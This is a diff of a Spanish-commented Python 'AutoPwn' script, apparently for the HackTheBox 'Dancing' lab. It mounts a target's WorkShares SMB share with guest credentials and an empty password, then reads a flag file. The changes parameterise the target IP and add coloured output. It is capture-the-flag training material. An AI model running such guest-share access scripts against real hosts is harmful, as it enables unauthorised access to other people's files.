|
3 | 3 | import os
|
4 | 4 | import subprocess
|
5 | 5 | import argparse
|
| 6 | +from colorama import Fore, Style |
6 | 7 |
|
7 | 8 | class Exploit:
|
8 | 9 | def __init__(self, ip_address, lport):
|
9 | 10 | self.ip_address = ip_address
|
10 | 11 | self.lport = lport
|
11 | 12 |
|
12 | 13 | def run(self):
|
13 |
| - mount_path = '/home/axel/HTB/dancing/content/mnt' |
14 |
| - share_path = '//10.129.131.234/WorkShares' |
15 |
| - username = "guest" # Define el nombre de usuario aquí |
16 |
| - password = "" |
17 |
| - filename = "flag.txt" |
18 |
| - |
19 |
| - mount_command = f'mount -t cifs {share_path} {mount_path} -o username={username},password=' |
20 |
| - # Comando para montar el recurso compartido utilizando CIFS |
| 14 | + mount_path = '/home/axel/HTB/dancing/exploits/mnt' |
| 15 | + share_path = f'//{self.ip_address}/WorkShares' |
| 16 | + username = 'guest' |
| 17 | + password = '' |
| 18 | + filename = 'flag.txt' |
| 19 | + |
| 20 | + # Verifica si la carpeta de montaje existe. Si no existe, la crea. |
| 21 | + if not os.path.exists(mount_path): |
| 22 | + try: |
| 23 | + os.makedirs(mount_path) |
| 24 | + except OSError as e: |
| 25 | + print(Fore.RED + f'No se pudo crear la carpeta: {str(e)}' + Style.RESET_ALL) |
| 26 | + |
| 27 | + # Comando para montar la carpeta compartida utilizando la dirección IP proporcionada y las credenciales de 'guest' |
| 28 | + mount_command = f"mount -t cifs {share_path} {mount_path} -o username={username},password={password}" |
21 | 29 | subprocess.run(mount_command, shell=True, input=b'\n', stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
22 | 30 |
|
23 | 31 | file_path = os.path.join(mount_path, 'James.P', filename)
|
24 |
| - # Ruta completa al archivo dentro del recurso compartido montado |
25 | 32 |
|
26 | 33 | try:
|
| 34 | + # Intenta abrir el archivo 'flag.txt' y leer su contenido |
27 | 35 | with open(file_path, 'r') as file:
|
28 | 36 | content = file.read()
|
29 |
| - print(f"El contenido de 'flag.txt': {content}") |
| 37 | + print(Fore.GREEN + f"El contenido de la 'flag': {content}" + Style.RESET_ALL) |
30 | 38 | except FileNotFoundError:
|
31 |
| - print(f'El archivo {file_path} no existe.') |
| 39 | + # Si el archivo no existe, muestra un mensaje de error |
| 40 | + print(Fore.RED + f'El archivo {file_path} no existe.' + Style.RESET_ALL) |
32 | 41 | except PermissionError:
|
33 |
| - print(f'No tienes permisos para leer el archivo {file_path}.') |
| 42 | + # Si no se tienen permisos para leer el archivo, muestra un mensaje de error |
| 43 | + print(Fore.RED + f'No tienes permisos para leer el archivo {file_path}.' + Style.RESET_ALL) |
34 | 44 |
|
| 45 | + # Comando para desmontar la carpeta compartida |
35 | 46 | umount_command = f'umount {mount_path}'
|
36 |
| - # Comando para desmontar el recurso compartido |
37 | 47 | subprocess.run(umount_command, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
38 | 48 |
|
39 |
| - |
40 | 49 | def get_arguments():
|
| 50 | + # Función para obtener los argumentos de línea de comandos: dirección IP y puerto |
41 | 51 | parser = argparse.ArgumentParser(description='Uso de AutoPwn')
|
42 | 52 | parser.add_argument('-i', '--ip', dest='ip_address', required=True, help='IP de host remoto')
|
43 |
| - parser.add_argument('-p', '--port', dest='lport', required=True, help='Proporcionar puerto.') |
| 53 | + parser.add_argument('-p', '--port', default=445, dest='lport', required=False, help='Proporcionar puerto.') |
44 | 54 | return parser.parse_args()
|
45 | 55 |
|
46 | 56 | def main():
|
| 57 | + # Función principal |
47 | 58 | args = get_arguments()
|
48 |
| - |
49 | 59 | exploit = Exploit(args.ip_address, args.lport)
|
50 | 60 | exploit.run()
|
51 | 61 |
|
52 | 62 | if __name__ == '__main__':
|
53 | 63 | main()
|
| 64 | + |
0 commit comments